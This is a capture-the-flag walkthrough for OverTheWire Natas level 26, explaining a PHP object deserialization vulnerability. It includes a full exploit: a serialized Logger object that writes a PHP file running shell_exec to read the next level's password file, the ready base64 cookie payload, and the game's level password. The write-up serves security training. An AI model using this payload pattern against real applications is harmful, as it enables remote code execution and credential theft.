OverTheWire Natas Level 26 Walkthrough

This level of Natas covers a PHP deserialization vulnerability. This walkthrough covers source code analysis, why these vulnerabilities work, and how to construct a proof of concept that will get us the flag.

What is Natas?

Natas is an online hacking game meant to help you learn and practice security concepts.

OverTheWire is a website with a number of “war games”, which are online hacking games that allow you to practice security concepts. If you are looking for a beginner introduction to web security (albeit an older tech stack), then Natas is a great place to start.

Natas is hosted on different subdomains following the pattern of http://natas<level#>.natas.labs.overthewire.org. As you progress through the levels, you’ll need to increment the level number in the URL in order to view the correct level.

Each level requires the levels below it to be solved, so you will need the level 26 flag found in level 25 to begin this walkthrough. As before, make sure you keep notes and write down the passwords as you find them!

Level 26 ➔ 27

As always, let’s start out with a look at the webpage http://natas26.natas.labs.overthewire.org/ (using username natas26 and password oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T:

In short, the web app lets you submit two (X,Y) pairs to draw lines. Each new pair is added to the previous lines. It took me a while to realize that this was the case, since I was picking small numbers and it wasn’t clear that a line drawing was being made until I chose larger numbers.

Source code analysis

We’re provided source code, which will be very useful for this level. To start off, the webpage will look for a $drawing value in the user’s cookie, or (X,Y) data if a POST request has been made. From there, the code constructs an $imgFile path, calls drawImage(), then calls showImage(), then storeData().

Let’s take a look at drawImage() and showImage():

showImage() simply checks for the existence of the filename. drawImage() creates a box, and then calls drawFromUserData() before creating a PNG from the file.

drawFromUserdata()

The drawFromUserdata() function looks like this:

If the array keys x1, y1, x2, and y2 exist, it will use that information to draw a line. This corresponds to POST data from the user.

If the array key “drawing” exists within the user’s cookie, it will unserialize the cookie and then create a line from the x1, y1, x2, and y2.

storeData()

The storeData() function is shown below. This function is how POST data makes its way into the $_COOKIE variable.

If array keys exist for x1, y1, x2, and y2, a new object is created. If the cookie already contains a drawing value, this value is unserialized and stored in $drawing. This array is then updated with the $new_object, such that a multi-part line variable can be constructed.

The Logger class

Finally, there’s logging. I’m not sure what practical purpose this serves outside of creating more attack surface for us. 🙂

I had to look up the a+ variable:

a: append data in a file, it can update the file writing some data at the end;

a+ : append data in a file and update it, which means it can write at the end and also is able to read the file.

This Logger class will be the focus for the rest of this blog post, since this level involves a PHP object deserialization vulnerability.

PHP object deserialization vulnerabilities

The vulnerable line of code from the source code shown above is:

$drawing=unserialize(base64_decode($_COOKIE["drawing"]));

This is used within the storeData() and drawFromUserdata() functions, both of which are unserializing user-provided input.

But why is unserializing input such a big issue, and what is the path of attack that can be used with this vulnerability?

What is PHP object deserialization?

First of all, let’s cover what object deserialization means within PHP.

When an object in PHP (or in a few other languages) needs to be stored or transferred, it typically needs to be transformed into a string first. This can be done with the serialize() function. You can also see this happening in the web app cookie. If you submit two (X,Y) pairs of 10,10 and 20,20, then base64-decode your cookie, it will look like:

a:1:{i:0;a:4:{s:2:"x1";s:2:"10";s:2:"y1";s:2:"10";s:2:"x2";s:2:"20";s:2:"y2";s:2:"20";}}

Not the most readable thing, but if you know that you’re looking at a serialized version of the X,Y pairs just described, then it sort of makes sense. This is a serialized version of the $new_object object from the PHP source code.

When that object gets moved or read back into the application, it needs to be deserialized to go from weird quasi-JSON string for, back into its original object form. When this happens, the object will be instantiated, and a __wakeup() function (if it exists) will be called, followed by a __destruct() function call if the object is no longer in use.

Credit: Vickie Li @ https://medium.com/swlh/diving-into-unserialize-3586c1ec97e

More to the point, though, the object being deserialized can have its magic methods overridden with attacker-defined data. As you can imagine, this can alter the behavior of the __destruct() function call.

What is a magic method? It’s one of a class of “special methods which override PHP’s default actions when certain actions are performed on an object.

For more in-depth info about PHP deserialization, check out this Medium post by Vickie Li, or this post from snoopysecurity.

Conditions for a PHP object deserialization attack

OWASP defines two pre-requisites for a PHP object deserialization attack:

1. The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a “POP chain”.
2. All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes.

Note: more info about autoloading here.

We’ve already seen a bit of the first requirement. Once a string is deserialized back into an object, the object gets automatically instantiated, and then __wakeup() and __destruct() are called. If these aren’t implemented, then we’re out of luck.

Our code does implement the __destruct() method, within the Logger class:

Secondly, all of the classes used during the attack need to be declared before the unserialize() attack can happen. Since the Logger class is declared before the rest of the line-drawing functionality, we’re all set.

Plan of attack

Our plan thus far is to serialize (and base64-encode) a Logger object, instead of a line object, and store it in our browser’s $drawing cookie.

Then, the Logger object will get unserialized/deserialized when the page is refreshed (and line data re-processed). The app will instantiate it, call __wakeup()  if it exists (it doesn’t), then call __destruct().

How can we use the __destruct() function to get the flag?

If we assume that the flag is at /etc/natas_webpass/natas27, maybe we can use that as the $exitMsg, somehow change the $logFile value to something we can access from our browser, then the fwrite() command will write the flag to an accessible file.

In short, our plan of attack is to change the value of $exitMsg and $logFile in our serialized Logger class, so that the existing __destruct() functionality writes the password to a web-accessible directory.

Constructing our Logger class

But how do we change these variables? Using this PHP sandbox, we can construct our new Logger() class. Let’s start with these three lines:

<?php 
$logger = new Logger();
echo base64_encode(serialize($logger));

The first line is the start of the PHP code. The next line declares a Logger() object, and then the third line prints out the base64-encoded, serialized version of that logger.

If you run this code, it will say that there’s no Logger class. Let’s add that in above the $logger line:

<?php

class Logger {
    
}

$logger = new Logger();
echo base64_encode(serialize($logger));

While this code compiles, it doesn’t do anything useful, since we haven’t changed any of the pre-defined values.

We want to change $exitMsg and $logFile but these are both private variables. If we want to change them, we will need to do so within the __construct() class like in the original code:

<?php

class Logger{
    private $logFile;
    private $exitMsg;

    function __construct(){
        $this->exitMsg= "<?php echo shell_exec('cat /etc/natas_webpass/natas27'); ?>";
        $this->logFile = "/var/www/natas/natas26/img/natas26_q82optt5977ar7gsc8bthe0123.php";
    }
}

$logger = new Logger();
echo base64_encode(serialize($logger));

The exitMsg that I chose was only a slight change from the PHP code used in level 26.

The logFile took some more guessing and checking. I originally wrote it to img/... but could not find the file afterwards. This made me think that it needed an absolute file path, so I referenced previous levels to find the directory structure of /var/www/natas/natasXX.

From there, I knew that the img/ directory was accessible from a browser. I used my PHPSESSID to avoid naming conflicts.

Finally, it has a .php ending so that the PHP code within the file is executed. If you do a .txt file ending, you will see the original (un-executed) PHP string above.

Altogether, our code looks like this:

Executing this code will result in the base64-encoded string:

Tzo2OiJMb2dnZXIiOjI6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo2NToiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbmF0YXMyNl9xODJvcHR0NTk3N2FyN2dzYzhidGhlMDEyMy5waHAiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo1OToiPD9waHAgZWNobyBzaGVsbF9leGVjKCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO30=

If we view it in its non-base64 encoded, serialized form, it looks like:

O:6:"Logger":2:{s:15:"LoggerlogFile";s:65:"/var/www/natas/natas26/img/natas26_q82optt5977ar7gsc8bthe0123.php";s:15:"LoggerexitMsg";s:59:"<?php echo shell_exec('cat /etc/natas_webpass/natas27'); ?>";}

Natas Level 26 Solution

In your browser, open up Dev Tools and clear the value for the $drawing cookie and replace it with the base64-encoded string covered in the previous section:

Tzo2OiJMb2dnZXIiOjI6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo2NToiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbmF0YXMyNl9xODJvcHR0NTk3N2FyN2dzYzhidGhlMDEyMy5waHAiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo1OToiPD9waHAgZWNobyBzaGVsbF9leGVjKCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO30=

When this object is processed by this line of code:

$drawing=unserialize(base64_decode($_COOKIE["drawing"]));

It will be unserialized, the Logger object will be instantiated with an $exitMsg that prints up the flag, and a $logFile available to us at http://natas26.natas.labs.overthewire.org/img/natas26_q82optt5977ar7gsc8bthe0123.php.

After you have set your cookie value, refresh the page. You’ll see an error like this:

Then visit http://natas26.natas.labs.overthewire.org/img/natas26_q82optt5977ar7gsc8bthe0123.php to get the flag:

Takeaway: look for unserialize() calls and see if you’re able to perform an object deserialization attack. Devs, don’t trust user input to be deserialized, as it can have severe consequences.